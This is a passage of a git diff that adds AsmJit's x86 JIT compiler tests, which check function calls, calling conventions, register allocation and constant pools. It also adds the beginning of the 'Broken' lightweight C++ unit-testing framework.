compile(X86Compiler& cc) { + cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Xmm a = cc.newXmmSs("a"); + X86Xmm b = cc.newXmmSs("b"); + X86Xmm ret = cc.newXmmSs("ret"); + + cc.setArg(0, a); + cc.setArg(1, b); + + // Prepare. + X86Gp fn = cc.newIntPtr("fn"); + cc.mov(fn, imm_ptr(calledFunc)); + + // Call function. + CCFuncCall* call = cc.call(fn, FuncSignature2(CallConv::kIdHost)); + + call->setArg(0, a); + call->setArg(1, b); + call->setRet(0, ret); + + cc.ret(ret); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef float (*Func)(float, float); + Func func = ptr_as_func(_func); + + float resultRet = func(15.5f, 2.0f); + float expectRet = calledFunc(15.5f, 2.0f); + + result.setFormat("ret=%g", resultRet); + expect.setFormat("ret=%g", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_CallDoubleAsXmmRet] +// ============================================================================ + +class X86Test_CallDoubleAsXmmRet : public X86Test { +public: + X86Test_CallDoubleAsXmmRet() : X86Test("[Call] Double As Xmm Ret") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallDoubleAsXmmRet()); + } + + static double calledFunc(double a, double b) { + return a * b; + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Xmm a = cc.newXmmSd("a"); + X86Xmm b = cc.newXmmSd("b"); + X86Xmm ret = cc.newXmmSd("ret"); + + cc.setArg(0, a); + cc.setArg(1, b); + + X86Gp fn = cc.newIntPtr("fn"); + cc.mov(fn, imm_ptr(calledFunc)); + + CCFuncCall* call = cc.call(fn, FuncSignature2(CallConv::kIdHost)); + + call->setArg(0, a); + call->setArg(1, b); + call->setRet(0, ret); + + cc.ret(ret); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef double (*Func)(double, double); + Func func = ptr_as_func(_func); + + double resultRet = func(15.5, 2.0); + double expectRet = calledFunc(15.5, 2.0); + + result.setFormat("ret=%g", resultRet); + expect.setFormat("ret=%g", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_CallConditional] +// ============================================================================ + +class X86Test_CallConditional : public X86Test { +public: + X86Test_CallConditional() : X86Test("[Call] Conditional") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallConditional()); + } + + virtual void compile(X86Compiler& cc) { + X86Gp x = cc.newInt32("x"); + X86Gp y = cc.newInt32("y"); + X86Gp op = cc.newInt32("op"); + + CCFuncCall* call; + X86Gp result; + + cc.addFunc(FuncSignature3(CallConv::kIdHost)); + cc.setArg(0, x); + cc.setArg(1, y); + cc.setArg(2, op); + + Label opAdd = cc.newLabel(); + Label opMul = cc.newLabel(); + + cc.cmp(op, 0); + cc.jz(opAdd); + cc.cmp(op, 1); + cc.jz(opMul); + + result = cc.newInt32("result_0"); + cc.mov(result, 0); + cc.ret(result); + + cc.bind(opAdd); + result = cc.newInt32("result_1"); + + call = cc.call((uint64_t)calledFuncAdd, FuncSignature2(CallConv::kIdHost)); + call->setArg(0, x); + call->setArg(1, y); + call->setRet(0, result); + cc.ret(result); + + cc.bind(opMul); + result = cc.newInt32("result_2"); + + call = cc.call((uint64_t)calledFuncMul, FuncSignature2(CallConv::kIdHost)); + call->setArg(0, x); + call->setArg(1, y); + call->setRet(0, result); + + cc.ret(result); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int, int, int); + Func func = ptr_as_func(_func); + + int arg1 = 4; + int arg2 = 8; + + int resultAdd = func(arg1, arg2, 0); + int expectAdd = calledFuncAdd(arg1, arg2); + + int resultMul = func(arg1, arg2, 1); + int expectMul = calledFuncMul(arg1, arg2); + + result.setFormat("ret={add=%d, mul=%d}", resultAdd, resultMul); + expect.setFormat("ret={add=%d, mul=%d}", expectAdd, expectMul); + + return (resultAdd == expectAdd) && (resultMul == expectMul); + } + + static int calledFuncAdd(int x, int y) { return x + y; } + static int calledFuncMul(int x, int y) { return x * y; } +}; + +// ============================================================================ +// [X86Test_CallMultiple] +// ============================================================================ + +class X86Test_CallMultiple : public X86Test { +public: + X86Test_CallMultiple() : X86Test("[Call] Multiple") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallMultiple()); + } + + static int ASMJIT_FASTCALL calledFunc(int* pInt, int index) { + return pInt[index]; + } + + virtual void compile(X86Compiler& cc) { + unsigned int i; + + X86Gp buf = cc.newIntPtr("buf"); + X86Gp acc0 = cc.newInt32("acc0"); + X86Gp acc1 = cc.newInt32("acc1"); + + cc.addFunc(FuncSignature1(CallConv::kIdHost)); + cc.setArg(0, buf); + + cc.mov(acc0, 0); + cc.mov(acc1, 0); + + for (i = 0; i < 4; i++) { + X86Gp ret = cc.newInt32("ret"); + X86Gp ptr = cc.newIntPtr("ptr"); + X86Gp idx = cc.newInt32("idx"); + CCFuncCall* call; + + cc.mov(ptr, buf); + cc.mov(idx, static_cast(i)); + + call = cc.call((uint64_t)calledFunc, FuncSignature2(CallConv::kIdHostFastCall)); + call->setArg(0, ptr); + call->setArg(1, idx); + call->setRet(0, ret); + + cc.add(acc0, ret); + + cc.mov(ptr, buf); + cc.mov(idx, static_cast(i)); + + call = cc.call((uint64_t)calledFunc, FuncSignature2(CallConv::kIdHostFastCall)); + call->setArg(0, ptr); + call->setArg(1, idx); + call->setRet(0, ret); + + cc.sub(acc1, ret); + } + + cc.add(acc0, acc1); + cc.ret(acc0); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int*); + Func func = ptr_as_func(_func); + + int buffer[4] = { 127, 87, 23, 17 }; + + int resultRet = func(buffer); + int expectRet = 0; + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_CallRecursive] +// ============================================================================ + +class X86Test_CallRecursive : public X86Test { +public: + X86Test_CallRecursive() : X86Test("[Call] Recursive") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallRecursive()); + } + + virtual void compile(X86Compiler& cc) { + X86Gp val = cc.newInt32("val"); + Label skip = cc.newLabel(); + + CCFunc* func = cc.addFunc(FuncSignature1(CallConv::kIdHost)); + cc.setArg(0, val); + + cc.cmp(val, 1); + cc.jle(skip); + + X86Gp tmp = cc.newInt32("tmp"); + cc.mov(tmp, val); + cc.dec(tmp); + + CCFuncCall* call = cc.call(func->getLabel(), FuncSignature1(CallConv::kIdHost)); + call->setArg(0, tmp); + call->setRet(0, tmp); + cc.mul(cc.newInt32(), val, tmp); + + cc.bind(skip); + cc.ret(val); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int); + Func func = ptr_as_func(_func); + + int resultRet = func(5); + int expectRet = 1 * 2 * 3 * 4 * 5; + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_CallMisc1] +// ============================================================================ + +class X86Test_CallMisc1 : public X86Test { +public: + X86Test_CallMisc1() : X86Test("[Call] Misc #1") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallMisc1()); + } + + static void dummy(int a, int b) {} + + virtual void compile(X86Compiler& cc) { + X86Gp val = cc.newInt32("val"); + Label skip = cc.newLabel(); + + CCFunc* func = cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Gp a = cc.newInt32("a"); + X86Gp b = cc.newInt32("b"); + X86Gp r = cc.newInt32("r"); + + cc.setArg(0, a); + cc.setArg(1, b); + + cc.alloc(a, x86::eax); + cc.alloc(b, x86::ebx); + + CCFuncCall* call = cc.call(imm_ptr(dummy), FuncSignature2(CallConv::kIdHost)); + call->setArg(0, a); + call->setArg(1, b); + + cc.lea(r, x86::ptr(a, b)); + cc.ret(r); + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int, int); + Func func = ptr_as_func(_func); + + int resultRet = func(44, 199); + int expectRet = 243; + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_CallMisc2] +// ============================================================================ + +class X86Test_CallMisc2 : public X86Test { +public: + X86Test_CallMisc2() : X86Test("[Call] Misc #2") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallMisc2()); + } + + virtual void compile(X86Compiler& cc) { + CCFunc* func = cc.addFunc(FuncSignature1(CallConv::kIdHost)); + + X86Gp p = cc.newIntPtr("p"); + X86Gp fn = cc.newIntPtr("fn"); + + X86Xmm arg = cc.newXmmSd("arg"); + X86Xmm ret = cc.newXmmSd("ret"); + + cc.setArg(0, p); + cc.movsd(arg, x86::ptr(p)); + cc.mov(fn, imm_ptr(op)); + + CCFuncCall* call = cc.call(fn, FuncSignature1(CallConv::kIdHost)); + call->setArg(0, arg); + call->setRet(0, ret); + + cc.ret(ret); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef double (*Func)(const double*); + Func func = ptr_as_func(_func); + + double arg = 2; + + double resultRet = func(&arg); + double expectRet = op(arg); + + result.setFormat("ret=%g", resultRet); + expect.setFormat("ret=%g", expectRet); + + return resultRet == expectRet; + } + + static double op(double a) { return a * a; } +}; + +// ============================================================================ +// [X86Test_CallMisc3] +// ============================================================================ + +class X86Test_CallMisc3 : public X86Test { +public: + X86Test_CallMisc3() : X86Test("[Call] Misc #3") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallMisc3()); + } + + virtual void compile(X86Compiler& cc) { + CCFunc* func = cc.addFunc(FuncSignature1(CallConv::kIdHost)); + + X86Gp p = cc.newIntPtr("p"); + X86Gp fn = cc.newIntPtr("fn"); + + X86Xmm arg = cc.newXmmSd("arg"); + X86Xmm ret = cc.newXmmSd("ret"); + + cc.setArg(0, p); + cc.movsd(arg, x86::ptr(p)); + cc.mov(fn, imm_ptr(op)); + + CCFuncCall* call = cc.call(fn, FuncSignature1(CallConv::kIdHost)); + call->setArg(0, arg); + call->setRet(0, ret); + + cc.xorps(arg, arg); + cc.subsd(arg, ret); + + cc.ret(arg); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef double (*Func)(const double*); + Func func = ptr_as_func(_func); + + double arg = 2; + + double resultRet = func(&arg); + double expectRet = -op(arg); + + result.setFormat("ret=%g", resultRet); + expect.setFormat("ret=%g", expectRet); + + return resultRet == expectRet; + } + + static double op(double a) { return a * a; } +}; + +// ============================================================================ +// [X86Test_CallMisc4] +// ============================================================================ + +class X86Test_CallMisc4 : public X86Test { +public: + X86Test_CallMisc4() : X86Test("[Call] Misc #4") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallMisc4()); + } + + virtual void compile(X86Compiler& cc) { + FuncSignatureX funcPrototype; + + funcPrototype.setCallConv(CallConv::kIdHost); + funcPrototype.setRet(TypeId::kF64); + CCFunc* func = cc.addFunc(funcPrototype); + + FuncSignatureX callPrototype; + callPrototype.setCallConv(CallConv::kIdHost); + callPrototype.setRet(TypeId::kF64); + CCFuncCall* call = cc.call(imm_ptr(calledFunc), callPrototype); + + X86Xmm ret = cc.newXmmSd("ret"); + call->setRet(0, ret); + cc.ret(ret); + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef double (*Func)(void); + Func func = ptr_as_func(_func); + + double resultRet = func(); + double expectRet = 3.14; + + result.setFormat("ret=%g", resultRet); + expect.setFormat("ret=%g", expectRet); + + return resultRet == expectRet; + } + + static double calledFunc() { return 3.14; } +}; + +// ============================================================================ +// [X86Test_CallMisc5] +// ============================================================================ + +// The register allocator should clobber the register used by the `call` itself. +class X86Test_CallMisc5 : public X86Test { +public: + X86Test_CallMisc5() : X86Test("[Call] Misc #5") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallMisc5()); + } + + virtual void compile(X86Compiler& cc) { + CCFunc* func = cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + X86Gp pFn = cc.newIntPtr("pFn"); + X86Gp vars[16]; + + uint32_t i, regCount = cc.getGpCount(); + ASMJIT_ASSERT(regCount <= ASMJIT_ARRAY_SIZE(vars)); + + cc.mov(pFn, imm_ptr(calledFunc)); + cc.spill(pFn); + + for (i = 0; i < regCount; i++) { + if (i == X86Gp::kIdBp || i == X86Gp::kIdSp) + continue; + + vars[i] = cc.newInt32("v%u", static_cast(i)); + cc.alloc(vars[i], i); + cc.mov(vars[i], 1); + } + + CCFuncCall* call = cc.call(pFn, FuncSignature0(CallConv::kIdHost)); + + for (i = 1; i < regCount; i++) { + if (vars[i].isValid()) + cc.add(vars[0], vars[i]); + } + + cc.ret(vars[0]); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(void); + Func func = ptr_as_func(_func); + + int resultRet = func(); + int expectRet = sizeof(void*) == 4 ? 6 : 14; + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } + + static void calledFunc() {} +}; + +// ============================================================================ +// [X86Test_MiscConstPool] +// ============================================================================ + +class X86Test_MiscConstPool : public X86Test { +public: + X86Test_MiscConstPool() : X86Test("[Misc] ConstPool #1") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_MiscConstPool()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + X86Gp v0 = cc.newInt32("v0"); + X86Gp v1 = cc.newInt32("v1"); + + X86Mem c0 = cc.newInt32Const(kConstScopeLocal, 200); + X86Mem c1 = cc.newInt32Const(kConstScopeLocal, 33); + + cc.mov(v0, c0); + cc.mov(v1, c1); + cc.add(v0, v1); + + cc.ret(v0); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(void); + Func func = ptr_as_func(_func); + + int resultRet = func(); + int expectRet = 233; + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_MiscMultiRet] +// ============================================================================ + +struct X86Test_MiscMultiRet : public X86Test { + X86Test_MiscMultiRet() : X86Test("[Misc] MultiRet") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_MiscMultiRet()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature3(CallConv::kIdHost)); + + X86Gp op = cc.newInt32("op"); + X86Gp a = cc.newInt32("a"); + X86Gp b = cc.newInt32("b"); + + Label L_Zero = cc.newLabel(); + Label L_Add = cc.newLabel(); + Label L_Sub = cc.newLabel(); + Label L_Mul = cc.newLabel(); + Label L_Div = cc.newLabel(); + + cc.setArg(0, op); + cc.setArg(1, a); + cc.setArg(2, b); + + cc.cmp(op, 0); + cc.jz(L_Add); + + cc.cmp(op, 1); + cc.jz(L_Sub); + + cc.cmp(op, 2); + cc.jz(L_Mul); + + cc.cmp(op, 3); + cc.jz(L_Div); + + cc.bind(L_Zero); + cc.xor_(a, a); + cc.ret(a); + + cc.bind(L_Add); + cc.add(a, b); + cc.ret(a); + + cc.bind(L_Sub); + cc.sub(a, b); + cc.ret(a); + + cc.bind(L_Mul); + cc.imul(a, b); + cc.ret(a); + + cc.bind(L_Div); + cc.cmp(b, 0); + cc.jz(L_Zero); + + X86Gp zero = cc.newInt32("zero"); + cc.xor_(zero, zero); + cc.idiv(zero, a, b); + cc.ret(a); + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int, int, int); + + Func func = ptr_as_func(_func); + + int a = 44; + int b = 3; + + int r0 = func(0, a, b); + int r1 = func(1, a, b); + int r2 = func(2, a, b); + int r3 = func(3, a, b); + int e0 = a + b; + int e1 = a - b; + int e2 = a * b; + int e3 = a / b; + + result.setFormat("ret={%d %d %d %d}", r0, r1, r2, r3); + expect.setFormat("ret={%d %d %d %d}", e0, e1, e2, e3); + + return result.eq(expect); + } +}; + +// ============================================================================ +// [X86Test_MiscMultiFunc] +// ============================================================================ + +class X86Test_MiscMultiFunc : public X86Test { +public: + X86Test_MiscMultiFunc() : X86Test("[Misc] MultiFunc") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_MiscMultiFunc()); + } + + virtual void compile(X86Compiler& cc) { + CCFunc* f1 = cc.newFunc(FuncSignature2(CallConv::kIdHost)); + CCFunc* f2 = cc.newFunc(FuncSignature2(CallConv::kIdHost)); + + { + X86Gp a = cc.newInt32("a"); + X86Gp b = cc.newInt32("b"); + + cc.addFunc(f1); + cc.setArg(0, a); + cc.setArg(1, b); + + CCFuncCall* call = cc.call(f2->getLabel(), FuncSignature2(CallConv::kIdHost)); + call->setArg(0, a); + call->setArg(1, b); + call->setRet(0, a); + + cc.ret(a); + cc.endFunc(); + } + + { + X86Gp a = cc.newInt32("a"); + X86Gp b = cc.newInt32("b"); + + cc.addFunc(f2); + cc.setArg(0, a); + cc.setArg(1, b); + + cc.add(a, b); + cc.ret(a); + cc.endFunc(); + } + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int, int); + + Func func = ptr_as_func(_func); + + int resultRet = func(56, 22); + int expectRet = 56 + 22; + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return result.eq(expect); + } +}; + +// ============================================================================ +// [X86Test_MiscFastEval] +// ============================================================================ + +class X86Test_MiscFastEval : public X86Test { +public: + X86Test_MiscFastEval() : X86Test("[Misc] FastEval (CConv)") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_MiscFastEval()); + } + + virtual void compile(X86Compiler& cc) { + FuncSignature5 funcSig(CallConv::kIdHostCDecl); + FuncSignature2 fastSig(CallConv::kIdHostFastEval2); + + CCFunc* func = cc.newFunc(funcSig); + CCFunc* fast = cc.newFunc(fastSig); + + { + X86Gp aPtr = cc.newIntPtr("aPtr"); + X86Gp bPtr = cc.newIntPtr("bPtr"); + X86Gp cPtr = cc.newIntPtr("cPtr"); + X86Gp dPtr = cc.newIntPtr("dPtr"); + X86Gp pOut = cc.newIntPtr("pOut"); + + X86Xmm aXmm = cc.newXmm("aXmm"); + X86Xmm bXmm = cc.newXmm("bXmm"); + X86Xmm cXmm = cc.newXmm("cXmm"); + X86Xmm dXmm = cc.newXmm("dXmm"); + + cc.addFunc(func); + + cc.setArg(0, aPtr); + cc.setArg(1, bPtr); + cc.setArg(2, cPtr); + cc.setArg(3, dPtr); + cc.setArg(4, pOut); + + cc.movups(aXmm, x86::ptr(aPtr)); + cc.movups(bXmm, x86::ptr(bPtr)); + cc.movups(cXmm, x86::ptr(cPtr)); + cc.movups(dXmm, x86::ptr(dPtr)); + + X86Xmm xXmm = cc.newXmm("xXmm"); + X86Xmm yXmm = cc.newXmm("yXmm"); + + CCFuncCall* call1 = cc.call(fast->getLabel(), fastSig); + call1->setArg(0, aXmm); + call1->setArg(1, bXmm); + call1->setRet(0, xXmm); + + CCFuncCall* call2 = cc.call(fast->getLabel(), fastSig); + call2->setArg(0, cXmm); + call2->setArg(1, dXmm); + call2->setRet(0, yXmm); + + cc.pmullw(xXmm, yXmm); + cc.movups(x86::ptr(pOut), xXmm); + + cc.endFunc(); + } + + { + X86Xmm aXmm = cc.newXmm("aXmm"); + X86Xmm bXmm = cc.newXmm("bXmm"); + + cc.addFunc(fast); + cc.setArg(0, aXmm); + cc.setArg(1, bXmm); + cc.paddw(aXmm, bXmm); + cc.ret(aXmm); + cc.endFunc(); + } + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(const void*, const void*, const void*, const void*, void*); + + Func func = ptr_as_func(_func); + + int16_t a[8] = { 0, 1, 2, 3, 4, 5, 6, 7 }; + int16_t b[8] = { 7, 6, 5, 4, 3, 2, 1, 0 }; + int16_t c[8] = { 1, 3, 9, 7, 5, 4, 2, 1 }; + int16_t d[8] = { 2, 0,-6,-4,-2,-1, 1, 2 }; + + int16_t o[8]; + int oExp = 7 * 3; + + func(a, b, c, d, o); + + result.setFormat("ret={%02X %02X %02X %02X %02X %02X %02X %02X}", o[0], o[1], o[2], o[3], o[4], o[5], o[6], o[7]); + expect.setFormat("ret={%02X %02X %02X %02X %02X %02X %02X %02X}", oExp, oExp, oExp, oExp, oExp, oExp, oExp, oExp); + + return result == expect; + } +}; + +// ============================================================================ +// [X86Test_MiscUnfollow] +// ============================================================================ + +// Global (I didn't find a better way to test this). +static jmp_buf globalJmpBuf; + +class X86Test_MiscUnfollow : public X86Test { +public: + X86Test_MiscUnfollow() : X86Test("[Misc] Unfollow") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_MiscUnfollow()); + } + + virtual void compile(X86Compiler& cc) { + // NOTE: Fastcall calling convention is the most appropriate here, as all + // arguments will be passed by registers and there won't be any stack + // misalignment when we call the `handler()`. This was failing on OSX + // when targeting 32-bit. + cc.addFunc(FuncSignature2(CallConv::kIdHostFastCall)); + + X86Gp a = cc.newInt32("a"); + X86Gp b = cc.newIntPtr("b"); + + Label tramp = cc.newLabel(); + + cc.setArg(0, a); + cc.setArg(1, b); + + cc.cmp(a, 0); + cc.jz(tramp); + + cc.ret(a); + + cc.bind(tramp); + cc.unfollow().jmp(b); + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (ASMJIT_FASTCALL *Func)(int, void*); + + Func func = ptr_as_func(_func); + + int resultRet = 0; + int expectRet = 1; + + if (!setjmp(globalJmpBuf)) + resultRet = func(0, (void*)handler); + else + resultRet = 1; + + result.setFormat("ret={%d}", resultRet); + expect.setFormat("ret={%d}", expectRet); + + return resultRet == expectRet; + } + + static void ASMJIT_FASTCALL handler() { longjmp(globalJmpBuf, 1); } +}; + +// ============================================================================ +// [X86Test_Bug100] +// ============================================================================ + +class X86Test_Bug100 : public X86Test { +public: + X86Test_Bug100() : X86Test("[Alloc] Bug#100") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_Bug100()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature4(CallConv::kIdHost)); + + Label L2 = cc.newLabel(); + Label L3 = cc.newLabel(); + Label L4 = cc.newLabel(); + + X86Gp dst = cc.newIntPtr("dst"); + X86Gp v0 = cc.newU32("v0"); + X86Gp v1 = cc.newU32("v1"); + X86Gp v2 = cc.newU32("v2"); + + cc.setArg(0, dst); + cc.setArg(1, v0); + cc.setArg(2, v1); + cc.setArg(3, v2); + + cc.cmp(v0, 65535); + cc.jne(L2); + + cc.cmp(v0, v1); + cc.je(L3); + + cc.mov(v0, v2); + cc.jmp(cc.getFunc()->getExitLabel()); + + cc.bind(L3); + cc.bind(L4); + + cc.mov(v2, v1); + cc.cmp(v1, 65535); + cc.jne(L2); + + cc.mov(v0, 128); + + cc.bind(L2); + cc.mov(x86::ptr(dst), v0); + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + // TODO: This test is not complete. + // typedef void (*Func)(void*, const void*, size_t); + // Func func = ptr_as_func(_func); + return result == expect; + } +}; + +// ============================================================================ +// [CmdLine] +// ============================================================================ + +class CmdLine { +public: + CmdLine(int argc, char** argv) + : _argc(argc), + _argv(argv) {} + + bool hasArg(const char* arg) { + for (int i = 1; i < _argc; i++) { + if (::strcmp(_argv[i], arg) == 0) + return true; + } + return false; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + int _argc; + char** _argv; +}; + +// ============================================================================ +// [Main] +// ============================================================================ + +#define ADD_TEST(CLASS) CLASS::add(testMgr) + +int main(int argc, char* argv[]) { + X86TestManager testMgr; + CmdLine cmd(argc, argv); + + if (cmd.hasArg("--verbose")) + testMgr._verbose = true; + + // Align. + ADD_TEST(X86Test_AlignBase); + ADD_TEST(X86Test_AlignNone); + + // Jump. + ADD_TEST(X86Test_JumpCross); + + ADD_TEST(X86Test_JumpMany); + ADD_TEST(X86Test_JumpUnreachable1); + ADD_TEST(X86Test_JumpUnreachable2); + + // Alloc. + ADD_TEST(X86Test_AllocBase); + ADD_TEST(X86Test_AllocManual); + ADD_TEST(X86Test_AllocUseMem); + ADD_TEST(X86Test_AllocMany1); + ADD_TEST(X86Test_AllocMany2); + ADD_TEST(X86Test_AllocImul1); + ADD_TEST(X86Test_AllocImul2); + ADD_TEST(X86Test_AllocIdiv1); + ADD_TEST(X86Test_AllocSetz); + ADD_TEST(X86Test_AllocShlRor); + ADD_TEST(X86Test_AllocGpLo); + ADD_TEST(X86Test_AllocRepMovsb); + ADD_TEST(X86Test_AllocIfElse1); + ADD_TEST(X86Test_AllocIfElse2); + ADD_TEST(X86Test_AllocIfElse3); + ADD_TEST(X86Test_AllocIfElse4); + ADD_TEST(X86Test_AllocInt8); + ADD_TEST(X86Test_AllocArgsIntPtr); + ADD_TEST(X86Test_AllocArgsFloat); + ADD_TEST(X86Test_AllocArgsDouble); + ADD_TEST(X86Test_AllocRetFloat1); + ADD_TEST(X86Test_AllocRetFloat2); + ADD_TEST(X86Test_AllocRetDouble1); + ADD_TEST(X86Test_AllocRetDouble2); + ADD_TEST(X86Test_AllocStack1); + ADD_TEST(X86Test_AllocStack2); + ADD_TEST(X86Test_AllocMemcpy); + ADD_TEST(X86Test_AllocAlphaBlend); + + // Call. + ADD_TEST(X86Test_CallBase); + ADD_TEST(X86Test_CallFast); + ADD_TEST(X86Test_CallManyArgs); + ADD_TEST(X86Test_CallDuplicateArgs); + ADD_TEST(X86Test_CallImmArgs); + ADD_TEST(X86Test_CallPtrArgs); + ADD_TEST(X86Test_CallFloatAsXmmRet); + ADD_TEST(X86Test_CallDoubleAsXmmRet); + ADD_TEST(X86Test_CallConditional); + ADD_TEST(X86Test_CallMultiple); + ADD_TEST(X86Test_CallRecursive); + ADD_TEST(X86Test_CallMisc1); + ADD_TEST(X86Test_CallMisc2); + ADD_TEST(X86Test_CallMisc3); + ADD_TEST(X86Test_CallMisc4); + ADD_TEST(X86Test_CallMisc5); + + // Misc. + ADD_TEST(X86Test_MiscConstPool); + ADD_TEST(X86Test_MiscMultiRet); + ADD_TEST(X86Test_MiscMultiFunc); + ADD_TEST(X86Test_MiscFastEval); + ADD_TEST(X86Test_MiscUnfollow); + + // Bugs. + ADD_TEST(X86Test_Bug100); + + return testMgr.run(); +} diff --git a/asmjit/test/broken.cpp b/asmjit/test/broken.cpp new file mode 100644 index 0000000..4dd91e8 --- /dev/null +++ b/asmjit/test/broken.cpp @@ -0,0 +1,278 @@ +// [Broken] +// Lightweight Unit Testing for C++. +// +// [License] +// Public Domain (Unlicense) + +// [Dependencies] +#include "./broken.h" + +// ============================================================================ +// [Broken - Global] +// ============================================================================ + +// Zero initialized globals. +struct BrokenGlobal { + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + bool hasArg(const char* a) const { + int argc = _argc; + const char** argv = _argv; + + for (int i = 1; i < argc; i++) { + if (::strcmp(argv[i], a) == 0) + return true; + } + + return false; + } + + FILE* getFile() const { + return _file ? _file : stdout; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + // Application arguments. + int _argc; + const char** _argv; + + // Output file. + FILE* _file; + + // Current context. + const char* _currentFile; + int _currentLine; + + // Unit tests. + BrokenAPI::Unit* _unitList; + BrokenAPI::Unit* _unitRunning; +}; +static BrokenGlobal _brokenGlobal; + +// ============================================================================ +// [Broken - API] +// ============================================================================ + +// Get whether the string `a` starts with string `b`. +static bool BrokenAPI_startsWith(const char* a, const char* b) { + for (size_t i = 0; ; i++) { + if (b[i] == '\0') return true; + if (a[i] != b[i]) return false; + } +} + +// Get whether the strings `a` and `b` are equal, ignoring case and treating +// `-` as `_`. +static bool BrokenAPI_matchesFilter(const char* a, const char* b) { + for (size_t i = 0; ; i++) { + unsigned char ca = static_cast(a[i]); + unsigned char cb = static_cast(b[i]); + + // If filter is defined as wildcard the rest automatically matches. + if (cb == '*') + return true; + + if (ca == '-') ca = '_'; + if (cb == '-') cb = '_'; + + if (ca >= 'A' && ca <= 'Z') ca += 'a' - 'A'; + if (cb >= 'A' && cb <= 'Z') cb += 'a' - 'A'; + + if (ca != cb) + return false; + + if (ca == '\0') + return true; + } +} + +static bool BrokenAPI_canRun(BrokenAPI::Unit* unit) { + BrokenGlobal& global = _brokenGlobal; + + int i, argc = global._argc; + const char** argv = global._argv; + + const char* unitName = unit->name; + bool hasFilter = false; + + for (i = 1; i < argc; i++) { + const char* arg = argv[i]; + + if (BrokenAPI_startsWith(arg, "--run-") && ::strcmp(arg, "--run-all") != 0) { + hasFilter = true; + + if (BrokenAPI_matchesFilter(unitName, arg + 6)) + return true; + } + } + + // If no filter has been specified the default is to run. + return !hasFilter; +} + +static void BrokenAPI_runUnit(BrokenAPI::Unit* unit) { + BrokenAPI::info("Running %s", unit->name); + + _brokenGlobal._unitRunning = unit; + unit->entry(); + _brokenGlobal._unitRunning = NULL; +} + +static void BrokenAPI_runAll() { + BrokenAPI::Unit* unit = _brokenGlobal._unitList; + + bool hasUnits = unit != NULL; + size_t count = 0; + + while (unit != NULL) { + if (BrokenAPI_canRun(unit)) { + BrokenAPI_runUnit(unit); + count++; + } + unit = unit->next; + } + + if (count) { + INFO("\nSuccess:"); + INFO(" All tests passed!"); + } + else { + INFO("\nWarning:"); + INFO(" No units %s!", hasUnits ? "matched the filter" : "defined"); + } +} 